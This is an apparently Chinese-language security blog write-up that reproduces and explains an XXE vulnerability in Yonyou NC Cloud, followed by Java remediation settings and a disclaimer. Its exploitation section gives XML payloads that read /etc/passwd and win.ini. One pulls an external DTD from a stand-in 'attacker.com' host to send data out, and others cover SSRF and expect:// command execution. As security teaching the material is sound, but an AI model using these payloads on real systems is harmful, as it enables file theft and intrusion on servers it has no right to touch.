漏洞复现--用友NC Cloud XXE
字数 914 2025-08-18 11:36:53

用友NC Cloud XXE漏洞复现与分析

漏洞概述

用友NC Cloud是一款面向大型企业集团的管理软件,存在XXE(XML External Entity)漏洞,攻击者可以利用该漏洞读取服务器上的任意文件,甚至可能实现远程代码执行。

漏洞原理

XXE(XML External Entity Injection)即XML外部实体注入,当应用程序解析XML输入时,没有禁止外部实体的加载,导致攻击者可以通过构造恶意XML文档读取任意文件或执行服务器端请求伪造(SSRF)攻击。

受影响版本

根据FreeBuf文章,受影响的用友NC Cloud版本包括:

  • 用友NC Cloud全版本(具体版本号需进一步确认)

漏洞复现步骤

环境准备

  1. 搭建用友NC Cloud测试环境
  2. 准备Burp Suite或其他抓包工具
  3. 准备XXE攻击Payload

漏洞检测

  1. 定位XML处理端点

    • 通过抓包分析,寻找应用程序中处理XML数据的接口
    • 常见于WebService接口、文件上传接口或数据传输接口
  2. 构造测试Payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root>&xxe;</root>
  1. 发送恶意请求
    • 将构造的XML作为请求体发送到目标接口
    • 观察响应中是否包含/etc/passwd文件内容

漏洞利用

  1. 读取任意文件
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<data>&send;</data>
  1. 服务器端请求伪造(SSRF)
<!DOCTYPE test [
<!ENTITY % xxe SYSTEM "http://internal-server/">
%xxe;
]>
  1. 远程代码执行(在某些条件下)
<!DOCTYPE rce [
<!ELEMENT rce ANY>
<!ENTITY % sp SYSTEM "expect://id">
]>
<rce>&sp;</rce>

漏洞修复方案

  1. 禁用外部实体解析

    • 在Java中,设置以下属性:
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    
  2. 输入过滤

    • 对用户提交的XML数据进行严格过滤
    • 检查并过滤DOCTYPE声明
  3. 使用安全的XML解析器

    • 使用最新版本的XML解析库
    • 考虑使用JSON替代XML
  4. 最小权限原则

    • 运行应用程序的账户应具有最小必要权限
    • 限制对敏感文件的访问

漏洞验证与测试

  1. 本地测试

    • 在测试环境中验证漏洞存在性
    • 确认修复措施的有效性
  2. 自动化扫描

    • 使用OWASP ZAP或Burp Suite Professional进行自动化扫描
    • 编写自定义脚本检测XXE漏洞

参考链接

免责声明

本文仅用于安全研究与教育目的,未经授权对他人系统进行测试是违法行为。在实际应用中,请确保获得系统所有者书面授权后进行安全测试。

用友NC Cloud XXE漏洞复现与分析 漏洞概述 用友NC Cloud是一款面向大型企业集团的管理软件,存在XXE(XML External Entity)漏洞,攻击者可以利用该漏洞读取服务器上的任意文件,甚至可能实现远程代码执行。 漏洞原理 XXE(XML External Entity Injection)即XML外部实体注入,当应用程序解析XML输入时,没有禁止外部实体的加载,导致攻击者可以通过构造恶意XML文档读取任意文件或执行服务器端请求伪造(SSRF)攻击。 受影响版本 根据FreeBuf文章,受影响的用友NC Cloud版本包括: 用友NC Cloud全版本(具体版本号需进一步确认) 漏洞复现步骤 环境准备 搭建用友NC Cloud测试环境 准备Burp Suite或其他抓包工具 准备XXE攻击Payload 漏洞检测 定位XML处理端点 : 通过抓包分析,寻找应用程序中处理XML数据的接口 常见于WebService接口、文件上传接口或数据传输接口 构造测试Payload : 发送恶意请求 : 将构造的XML作为请求体发送到目标接口 观察响应中是否包含/etc/passwd文件内容 漏洞利用 读取任意文件 : 服务器端请求伪造(SSRF) : 远程代码执行(在某些条件下) : 漏洞修复方案 禁用外部实体解析 : 在Java中,设置以下属性: 输入过滤 : 对用户提交的XML数据进行严格过滤 检查并过滤DOCTYPE声明 使用安全的XML解析器 : 使用最新版本的XML解析库 考虑使用JSON替代XML 最小权限原则 : 运行应用程序的账户应具有最小必要权限 限制对敏感文件的访问 漏洞验证与测试 本地测试 : 在测试环境中验证漏洞存在性 确认修复措施的有效性 自动化扫描 : 使用OWASP ZAP或Burp Suite Professional进行自动化扫描 编写自定义脚本检测XXE漏洞 参考链接 OWASP XXE防护指南 用友官方安全公告 免责声明 本文仅用于安全研究与教育目的,未经授权对他人系统进行测试是违法行为。在实际应用中,请确保获得系统所有者书面授权后进行安全测试。